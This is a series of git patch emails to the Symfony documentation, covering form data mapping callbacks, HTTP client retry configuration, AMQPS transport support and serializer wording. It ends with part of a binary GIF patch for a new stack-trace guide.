 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`;
+#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`; or extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`;
 
 #. The implementations of
    :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`

From ebbd0926093db224fd427475289c8be64fdd2768 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Sep 2020 20:47:59 +0200
Subject: [PATCH 1156/7107] Minor tweak

---
 components/security/authentication.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 8256221fdb6..4cb87975e08 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -197,7 +197,8 @@ Creating a custom Password Encoder
 There are many built-in password encoders. But if you need to create your
 own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`; or extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`;
+#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+   (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`);
 
 #. The implementations of
    :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`

From 51aa10d2096bf4e234aaf1fb6ae4eee15c06ba13 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Sep 2020 08:24:37 +0200
Subject: [PATCH 1157/7107] Sort import statements in a code example

---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index f4e5531109c..be41d63a41e 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -35,12 +35,12 @@ The transport object needs to implement the
 and :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\ReceiverInterface`).
 Here is a simplified example of a database transport::
 
-    use Symfony\Component\Uid\Uuid;
     use Symfony\Component\Messenger\Envelope;
     use Symfony\Component\Messenger\Stamp\TransportMessageIdStamp;
     use Symfony\Component\Messenger\Transport\Serialization\PhpSerializer;
     use Symfony\Component\Messenger\Transport\Serialization\SerializerInterface;
     use Symfony\Component\Messenger\Transport\TransportInterface;
+    use Symfony\Component\Uid\Uuid;
 
     class YourTransport implements TransportInterface
     {

From 53fb3c73582b0fd1897b29098f89a871f628b7f8 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Tue, 15 Sep 2020 01:19:38 -0400
Subject: [PATCH 1158/7107] Add new way of mapping form data

---
 form/data_mappers.rst | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 15e66ce54b3..24a0f41d39e 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -189,6 +189,45 @@ method::
 Cool! When using the ``ColorType`` form, the custom data mapper methods will
 create a new ``Color`` object now.
 
+Mapping Form Fields Using Callbacks
+-----------------------------------
+
+Conveniently, you can also map data from and into a form field by using the
+``getter`` and ``setter`` options. For example, suppose you have a form with some
+fields and only one of them needs to be mapped in some special way or you only
+need to change how it's written into the underlying object. In that case, register
+a PHP callable that is able to write or read to/from that specific object::
+
+    public function buildForm(FormBuilderInterface $builder, array $options)
+    {
+        // ...
+
+        $builder->add('state', ChoiceType::class, [
+            'choices' => [
+                'active' => true,
+                'paused' => false,
+            ],
+            'getter' => function (Task $task, FormInterface $form): bool {
+                return !$task->isCancelled() && !$task->isPaused();
+            },
+            'setter' => function (Task &$task, bool $state, FormInterface $form): void {
+                if ($state) {
+                    $task->activate();
+                } else {
+                    $task->pause();
+                }
+            },
+        ]);
+    }
+
+If available, these options have priority over the property path accessor and
+the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
+for the other form fields.
+
+.. versionadded:: 5.2
+
+    The ``getter`` and ``setter`` options were introduced in Symfony 5.2.
+
 .. caution::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and

From 26ff76c7382250e33f17c562eca6ee00898e06c6 Mon Sep 17 00:00:00 2001
From: Gary Houbre <gary.houbre@gmail.com>
Date: Tue, 15 Sep 2020 15:57:49 +0200
Subject: [PATCH 1159/7107] Path from Controller Test - Messenger Page Doc

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3d7e8c32563..d20b46472c2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1110,8 +1110,8 @@ Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
 during a request::
 
-    // tests/DefaultControllerTest.php
-    namespace App\Tests;
+    // tests/Controller/DefaultControllerTest.php
+    namespace App\Tests\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
     use Symfony\Component\Messenger\Transport\InMemoryTransport;

From 5b3a13b6cf1cf958a3ccefa40205929cd196f31e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Thu, 17 Sep 2020 13:58:49 +0200
Subject: [PATCH 1160/7107] Add documentation for Retryable client

---
 http_client.rst                       |  23 +++++
 reference/configuration/framework.rst | 126 ++++++++++++++++++++++++++
 2 files changed, 149 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3ead5a7a6f8..44be44aee82 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -143,6 +143,7 @@ Some options are described in this guide:
 * `Query String Parameters`_
 * `Headers`_
 * `Redirects`_
+* `Retry Failed Requests`_
 * `HTTP Proxies`_
 
 Check out the full :ref:`http_client config reference <reference-http-client>`
@@ -654,6 +655,28 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
         'max_redirects' => 0,
     ]);
 
+Retry Failed Requests
+~~~~~~~~~~~~~~~~~~~~~
+
+Some times, requests failed because of temporary issue in the server or
+because network issue. You can use the
+:class:`Symfony\\Component\\HttpClient\\RetryableHttpClient`
+client to automatically retry the request when it fails.::
+
+    use Symfony\Component\HttpClient\RetryableHttpClient;
+
+    $client = new RetryableHttpClient(HttpClient::create());
+
+The ``RetryableHttpClient`` uses a
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface` to
+decide if the request should be retried, and a
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface` to
+define the waiting time between each retry.
+
+By default, it retries until 3 attemps, the requests responding with a
+status code in (423, 425, 429, 500, 502, 503, 504, 507 or 510) and wait
+expentially from 1 second for the first retry, to 4 seconds at the 3rd attempt.
+
 HTTP Proxies
 ~~~~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b443750a124..1d1b788f7a5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -137,11 +137,34 @@ Configuration
     * `proxy`_
     * `query`_
     * `resolve`_
+
+    * :ref:`retry_failed <reference-http-client-retry-failed>`
+
+      * `backoff_service`_
+      * `decider_service`_
+      * :ref:`enabled <reference-http-client-retry-enabled>`
+      * `delay`_
+      * `http_codes`_
+      * `max_delay`_
+      * `max_retries`_
+      * `multiplier`_
+
     * `timeout`_
     * `max_duration`_
     * `verify_host`_
     * `verify_peer`_
 
+  * :ref:`retry_failed <reference-http-client-retry-failed>`
+
+    * `backoff_service`_
+    * `decider_service`_
+    * :ref:`enabled <reference-http-client-retry-enabled>`
+    * `delay`_
+    * `http_codes`_
+    * `max_delay`_
+    * `max_retries`_
+    * `multiplier`_
+
 * `http_method_override`_
 * `ide`_
 * :ref:`lock <reference-lock>`
@@ -742,6 +765,33 @@ If you use for example
 as the type and name of an argument, autowiring will inject the ``my_api.client``
 service into your autowired classes.
 
+.. _reference-http-client-retry-failed:
+
+By enabling the optional ``retry_failed`` configuration, the HTTP client service
+will automaticaly retry failed HTTP requests.
+
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        http_client:
+            # ...
+            retry_failed:
+                # backoff_service: app.custom_backoff
+                # decider_service:  app.custom_decider
+                http_codes: [429, 500]
+                max_retries: 2
+                delay: 1000
+                multiplier: 3
+                max_delay: 500
+
+            scoped_clients:
+                my_api.client:
+                    # ...
+                    retry_failed:
+                        max_retries: 4
+
 auth_basic
 ..........
 
@@ -769,6 +819,19 @@ in the `Microsoft NTLM authentication protocol`_. The value of this option must
 follow the format ``username:password``. This authentication mechanism requires
 using the cURL-based transport.
 
+backoff_service
+...............
+
+**type**: ``string``
+
+The service id used to compute the time to wait between retries. By default, it
+uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured
+with ``delay``, ``max_delay`` and ``multiplier`` options. This class has to
+implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
+This options cannot be used along `delay`_, `max_delay`_ or `multiplier`_
+options.
+
 base_uri
 ........
 
@@ -837,6 +900,36 @@ ciphers
 A list of the names of the ciphers allowed for the SSL/TLS connections. They
 can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``).
 
+decider_service
+...............
+
+**type**: ``string``
+
+The service id used to decide if a request should be retried. By default, it
+uses an instance of
+:class:`Symfony\\Component\\HttpClient\\Retry\\HttpStatusCodeDecider` configured
+with ``http_codes`` options. This class has to
+implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`.
+This options cannot be used along `http_codes`_ option.
+
+delay
+.....
+
+**type**: ``integer`` **default**: ``1000``
+
+The initial delay in milliseconds used to compute the waiting time between
+retries. This options cannot be used along `backoff_service`_ option.
+
+.. _reference-http-client-retry-enabled:
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``false``
+
+Whether to enable the support for retry failed HTTP request or not.
+This setting is automatically set to true when one of the child settings is configured.
+
 headers
 .......
 
@@ -845,6 +938,14 @@ headers
 An associative array of the HTTP headers added before making the request. This
 value must use the format ``['header-name' => header-value, ...]``.
 
+http_codes
+..........
+
+**type**: ``array`` **default**: ``[423, 425, 429, 500, 502, 503, 504, 507, 510]``
+
+The list of HTTP status codes that triggers a retry of the request.
+This options cannot be used along `decider_service`_ option.
+
 http_version
 ............
 
@@ -870,6 +971,15 @@ local_pk
 The path of a file that contains the `PEM formatted`_ private key of the
 certificate defined in the ``local_cert`` option.
 
+max_delay
+.........
+
+**type**: ``integer`` **default**: ``0``
+
+The maximum amount of milliseconds initial to wait between retries.
+Use ``0`` to not limit the duration.
+This options cannot be used along `backoff_service`_ option.
+
 max_duration
 ............
 
@@ -896,6 +1006,22 @@ max_redirects
 The maximum number of redirects to follow. Use ``0`` to not follow any
 redirection.
 
+max_retries
+...........
+
+**type**: ``integer`` **default**: ``3``
+
+The maximum number of retries before aborting. When the maximum is reach, the
+client returns the last received responses.
+
+multiplier
+..........
+
+**type**: ``float`` **default**: ``2``
+
+Multiplier to apply to the delay each time a retry occurs.
+This options cannot be used along `backoff_service`_ option.
+
 no_proxy
 ........
 

From 98dcd36a1accc647f14fb319568470a088b4c56a Mon Sep 17 00:00:00 2001
From: Valentin Silvestre <vsilvestre.pro@gmail.com>
Date: Fri, 18 Sep 2020 09:52:01 +0200
Subject: [PATCH 1161/7107] Add AMPS support

---
 messenger.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6fe7fe7d3f3..3064ef12793 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -844,6 +844,12 @@ options.
 AMQP Transport
 ~~~~~~~~~~~~~~
 
+.. versionadded:: 5.2
+
+    Starting from Symfony 5.2, the AMQP transport can handle AMQPS DSN.
+    Be aware that using it without using CA certificate can throw an exception.
+    An alternative is to use AMQP DSN and specify the port to use.
+
 .. versionadded:: 5.1
 
     Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
@@ -860,7 +866,13 @@ The ``amqp`` transport configuration looks like this:
     # .env
     MESSENGER_TRANSPORT_DSN=amqp://guest:guest@localhost:5672/%2f/messages
 
+    # or use the AMQPS protocol
+    MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages
+
+
 To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
+If you want to use TLS/SSL encrypted AMQP you must provide a CA certificate. You need to set it using ``amqp.cacert = /etc/ssl/certs`` (path depends on your system) in your ``php.ini`` file or by setting the ``cacert`` parameter (e.g ``amqps://localhost?cacert=/etc/ssl/certs/``)
+By default TLS/SSL encrypted AMQP uses port 5671. You can overwrite this behavior by setting the ``port`` parameter (e.g. ``amqps://localhost?cacert=/etc/ssl/certs/&port=12345``).
 
 .. note::
 

From f168c286c665aed785fae1b78a22daaa91e2c544 Mon Sep 17 00:00:00 2001
From: Mynyx <Mynyx@users.noreply.github.com>
Date: Fri, 18 Sep 2020 11:02:55 +0200
Subject: [PATCH 1162/7107] Update forms.rst

https://symfony.com/doc/current/form/form_themes.html#symfony-built-in-form-themes
---
 forms.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index ab433b533db..5867d2f07d1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -352,7 +352,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew
         ]);
 
 The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include
-Bootstrap 3 and 4 and Foundation 5. You can also
+Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also
 :ref:`create your own Symfony form theme <create-your-own-form-theme>`.
 
 In addition to form themes, Symfony allows you to

From c0a2ef5de26888e529e2d0bcdbdf5e06ebbbb58c Mon Sep 17 00:00:00 2001
From: Egor Ushakov <eushakov@gmail.com>
Date: Fri, 18 Sep 2020 12:57:55 +0300
Subject: [PATCH 1163/7107] Update serializer.rst

IMHO using "format" in current edition confuses readers with $format parameter next to $type
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 81cc0e4ad93..dfee3270aee 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -70,7 +70,7 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
   to deal with objects implementing the :phpclass:`JsonSerializable` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
-  denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
+  denormalize arrays of objects using for a `$type` parameter string in `MyObject[]` format (note the `[]` suffix)
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 

From cd6c0fd8b4396b48ddd9a0baa986d9b21b8f82db Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Sep 2020 17:53:53 +0200
Subject: [PATCH 1164/7107] Tweak

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index dfee3270aee..1fae4a6e4f3 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -70,7 +70,7 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
   to deal with objects implementing the :phpclass:`JsonSerializable` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
-  denormalize arrays of objects using for a `$type` parameter string in `MyObject[]` format (note the `[]` suffix)
+  denormalize arrays of objects using a notation like ``MyObject[]`` (note the ``[]`` suffix)
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 

From d0a97ae1858de44a09e909379a275ba5624902e0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Sat, 23 May 2020 14:24:18 +0200
Subject: [PATCH 1165/7107] Describe how to get a stack trace with Symfony

As a maintainer, I often struggle to get stack traces in bug reports. I
miss a good resource to describe how to do it with Symfony. This aims at
showing developers how to do that, but also to help them understand more
about stack traces.
---
 _images/contributing/code/stack-trace.gif | Bin 0 -> 754491 bytes
 contributing/code/bugs.rst                |   5 +-
 contributing/code/index.rst               |   1 +
 contributing/code/stack_trace.rst         | 189 ++++++++++++++++++++++
 contributing/map.rst.inc                  |   1 +
 5 files changed, 195 insertions(+), 1 deletion(-)
 create mode 100644 _images/contributing/code/stack-trace.gif
 create mode 100644 contributing/code/stack_trace.rst

diff --git a/_images/contributing/code/stack-trace.gif b/_images/contributing/code/stack-trace.gif
new file mode 100644
index 0000000000000000000000000000000000000000..97a2043448d0baf40e60ec887d7bc78f7c307a3b
GIT binary patch
literal 754491
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
